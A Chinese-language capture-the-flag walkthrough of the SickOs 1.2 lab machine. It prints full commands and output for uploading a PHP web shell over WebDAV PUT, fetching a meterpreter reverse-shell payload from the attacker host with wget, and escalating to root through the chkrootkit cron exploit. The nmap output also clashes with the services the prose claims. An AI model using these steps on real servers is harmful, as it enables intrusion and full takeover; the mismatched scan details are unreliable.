實驗環境如下：
基本思路：
Network Scanning (網絡掃描 Netdiscover, Nmap)
Directory brute-force (網站目錄掃描 dirb)
Find HTTP Options: PUT (查找HTTP選項 curl)
Generate PHP Backdoor (生成php後門 Msfvenom)
Upload and execute a backdoor（上傳php後門）
Reverse connection (Metasploit)
Privilege Escalation (cron job)
Import python one-liner for proper TTY shell
Get Root access and capture the flag.
1）Network Scanning (網絡掃描 Netdiscover, Nmap)
root@host06:~# nmap -sV -T4 -A 192.168.32.169 Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-21 19:19 CST Nmap scan report for 192.168.32.169 Host is up (0.00085s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) | http-robots.txt: 5 disallowed entries |_/ange1 /angel1 /nothing /tmp /uploads |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Dina MAC Address: 00:0C:29:29:82:CE (VMware) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.5 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.85 ms 192.168.32.169 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds
從上面掃描可以看出，主機只開放了如下服務與端口：
SSH (22/tcp) - OpenSSH 5.9p1 Debian
HTTP (80/tcp) - Lighttpd 1.4.28
2) 使用dirb 掃描網站目錄
root@host06:~# dirb http://192.168.32.169 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Fri Jun 21 19:25:51 2019 URL_BASE: http://192.168.32.169/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.169/ ---- + http://192.168.32.169/index.php (CODE:200|SIZE:163) ==> DIRECTORY: http://192.168.32.169/test/ ---- Entering directory: http://192.168.32.169/test/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Fri Jun 21 19:26:01 2019 DOWNLOADED: 4612 - FOUND: 1
使用niko 掃描時發現"The X-Content-Type-Options header is not set"，
root@host06:~# nikto -h http://192.168.32.169 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.32.169 + Target Hostname: 192.168.32.169 + Target Port: 80 + Start Time: 2019-06-21 19:34:28 (GMT8) --------------------------------------------------------------------------- + Server: lighttpd/1.4.28 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + All CGI directories 'found', use '-C none' to test none + Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21 + 26545 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2019-06-21 19:37:21 (GMT8) (173 seconds)
再次使用curl -v -X OPTIONS http://192.168.32.169/test測試，確認可以"put"等方法來進行注入
root@host06:~# curl -v -X OPTIONS http://192.168.32.169/test * Expire in 0 ms for 6 (transfer 0x5588c3fe4d00) * Trying 192.168.32.169... * TCP_NODELAY set * Expire in 200 ms for 4 (transfer 0x5588c3fe4d00) * Connected to 192.168.32.169 (192.168.32.169) port 80 (#0) > OPTIONS /test HTTP/1.1 > Host: 192.168.32.169 > User-Agent: curl/7.64.0 > Accept: */* > < HTTP/1.1 301 Moved Permanently < DAV: 1,2 < MS-Author-Via: DAV < Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK < Location: http://192.168.32.169/test/ < Content-Length: 0 < Date: Fri, 21 Jun 2019 15:16:48 GMT < Server: lighttpd/1.4.28 < * Connection #0 to host 192.168.32.169 left intact
使用curl的put方法上傳一個文件 curl -v -X PUT -d 'I am a boy' http://192.168.32.169/test/test.txt
root@host06:~# curl -v -X PUT -d 'I am a boy' http://192.168.32.169/test/test.txt * Expire in 0 ms for 6 (transfer 0x560c4ca07d00) * Trying 192.168.32.169... * TCP_NODELAY set * Expire in 200 ms for 4 (transfer 0x560c4ca07d00) * Connected to 192.168.32.169 (192.168.32.169) port 80 (#0) > PUT /test/test.txt HTTP/1.1 > Host: 192.168.32.169 > User-Agent: curl/7.64.0 > Accept: */* > Content-Length: 10 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 10 out of 10 bytes < HTTP/1.1 201 Created < Content-Length: 0 < Date: Fri, 21 Jun 2019 15:22:00 GMT < Server: lighttpd/1.4.28 < * Connection #0 to host 192.168.32.169 left intact
使用相同的方法可以上傳一個php調用shell命令的函數 curl -X PUT -d '<?php system($_GET["cmd"]);' http://192.168.32.169/test/cmd.php 如下測試
root@host06:~# curl -X PUT -d '<?php system($_GET["cmd"]);' http://192.168.32.169/test/cmd.php root@host06:~# curl "http://192.168.32.169/test/cmd.php?cmd=id;" uid=33(www-data) gid=33(www-data) groups=33(www-data) root@host06:~# curl "http://192.168.32.169/test/cmd.php?cmd=ls%20-lha" total 16K drwxr-xr-x 2 www-data www-data 4.0K Jun 21 08:28 . drwxr-xr-x 3 root root 4.0K Apr 25 2016 .. -rw-r--r-- 1 www-data www-data 27 Jun 21 08:28 cmd.php -rw-r--r-- 1 www-data www-data 10 Jun 21 08:22 test.txt
生成反彈shell腳本並上傳
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.32.10 lport=443 -f raw > put01.php (備註：這裏端口使用443目的是繞過防火牆)
root@host06:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.32.10 lport=443 -f raw > put01.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder or badchars specified, outputting raw payload Payload size: 1113 bytes
上傳文件方法１：利用原來上傳的調用系統cmd命令方法
起動一個python的臨時web測試服務器，提供給客戶端下載內容。python -m SimpleHTTPServer 443 (備註：此使用443端口繞過防火牆)
並且執行: curl "http://192.168.32.169/test/cmd.php?cmd=wget%20http://192.168.32.10:443/put01.php" 以下載put01.php文件
root@host06:~# python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ... 192.168.32.169 - - [21/Jun/2019 20:09:25] "GET /put01.php HTTP/1.1" 200 -
上傳文件方法2: 使用curl --upload-file
root@host06:~# curl --upload-file put02.php -v --url http://192.168.32.169/test/put02.php -0 --http1.0 * Expire in 0 ms for 6 (transfer 0x55e395728d00) * Trying 192.168.32.169... * TCP_NODELAY set * Expire in 200 ms for 4 (transfer 0x55e395728d00) * Connected to 192.168.32.169 (192.168.32.169) port 80 (#0) > PUT /test/put02.php HTTP/1.0 > Host: 192.168.32.169 > User-Agent: curl/7.64.0 > Accept: */* > Content-Length: 111 > * We are completely uploaded and fine * HTTP 1.0, assume close after body < HTTP/1.0 201 Created < Content-Length: 0 < Connection: close < Date: Sat, 22 Jun 2019 00:12:16 GMT < Server: lighttpd/1.4.28 < * Closing connection 0
啓動msfconsole 並設定如下相關參數，然後執行curl "http://192.168.32.169/test/put01.php"(即查執行剛上傳的shell)
root@host06:~# msfconsole _---------. .' ####### ;." .---,. ;@ @@`; .---,.. ." @@@@@'.,'@@ @@@@@',.'@@@@ ". '-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @; `.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .' "--'.@@@ -.@ @ ,'- .'--" ".@' ; @ @ `. ;' |@@@@ @@@ @ . ' @@@ @@ @@ , `.@@@@ @@ . ',@@ @ ; _____________ ( 3 C ) /|___ / Metasploit! \ ;@'. __*__,." \|--- \_____________/ '(.,...."/ =[ metasploit v5.0.28-dev ] + -- --=[ 1897 exploits - 1068 auxiliary - 329 post ] + -- --=[ 547 payloads - 44 encoders - 10 nops ] + -- --=[ 2 evasion ] msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.32.10 lhost => 192.168.32.10 msf5 exploit(multi/handler) > set lport 443 lport => 443 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.32.10:443 [*] Sending stage (38247 bytes) to 192.168.32.169 [*] Meterpreter session 1 opened (192.168.32.10:443 -> 192.168.32.169:49617) at 2019-06-21 20:16:00 +0800 meterpreter > shell Process 28313 created. Channel 0 created. id uid=33(www-data) gid=33(www-data) groups=33(www-data) cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # chkrootkit -V chkrootkit version 0.49 ^Z Background channel 0? [y/N] y meterpreter > Background session 1? [y/N] y [-] Unknown command: y.
返回msfconsole控制檯，檢查chkroot的漏洞，並利用此漏洞進行***測試
msf5 exploit(multi/handler) > search chkroot Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/local/chkrootkit 2014-06-04 manual Yes Chkrootkit Local Privilege Escalation msf5 exploit(multi/handler) > use exploit/unix/local/chkrootkit msf5 exploit(unix/local/chkrootkit) > show options Module options (exploit/unix/local/chkrootkit): Name Current Setting Required Description ---- --------------- -------- ----------- CHKROOTKIT /usr/sbin/chkrootkit yes Path to chkrootkit SESSION yes The session to run this module on. Exploit target: Id Name -- ---- 0 Automatic msf5 exploit(unix/local/chkrootkit) > set session 1 session => 1 msf5 exploit(unix/local/chkrootkit) > set lport 8080 lport => 8080
重新進行***測試
msf5 exploit(unix/local/chkrootkit) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP double handler on 192.168.32.10:8080
msf5 exploit(unix/local/chkrootkit) > [!] Rooting depends on the crontab (this could take a while)
[*] Payload written to /tmp/update
[*] Waiting for chkrootkit to run via cron...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo tnDOwZeHQZJPT8fE;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "tnDOwZeHQZJPT8fE\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (192.168.32.10:8080 -> 192.168.32.169:33664) at 2019-06-21 19:01:31 +0800
[+] Deleted /tmp/update
msf5 exploit(unix/local/chkrootkit) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter php/linux www-data (33) @ ubuntu 192.168.32.10:443 -> 192.168.32.169:49613 (192.168.32.169)
2 shell cmd/unix 192.168.32.10:8080 -> 192.168.32.169:33664 (192.168.32.169)
msf5 exploit(unix/local/chkrootkit) > sessions -i 2
[*] Starting interaction with 2...
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
python -c 'import pty;pty.spawn("/bin/bash")'
root@ubuntu:~# cd /root
cd /root
root@ubuntu:~# ls
ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz chkrootkit-0.49
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt newRule
root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.